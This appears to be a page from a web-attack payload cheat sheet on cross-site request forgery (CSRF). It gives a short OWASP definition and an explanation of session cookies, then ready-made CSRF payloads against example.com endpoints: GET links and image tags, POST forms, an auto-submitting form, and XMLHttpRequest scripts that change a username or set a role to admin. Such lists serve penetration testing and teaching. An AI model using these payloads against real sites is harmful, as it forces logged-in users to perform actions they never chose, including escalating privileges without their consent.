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Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Summary

Tools

Methodology

CSRF_cheatsheet

Payloads

When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.

HTML GET - Requiring User Interaction

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET - No User Interaction

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - Requiring User Interaction

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

HTML POST - AutoSubmit - No User Interaction

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

<script>
 document.getElementById("autosubmit").submit();
</script>

JSON GET - Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST - Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

JSON POST - Complex Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

References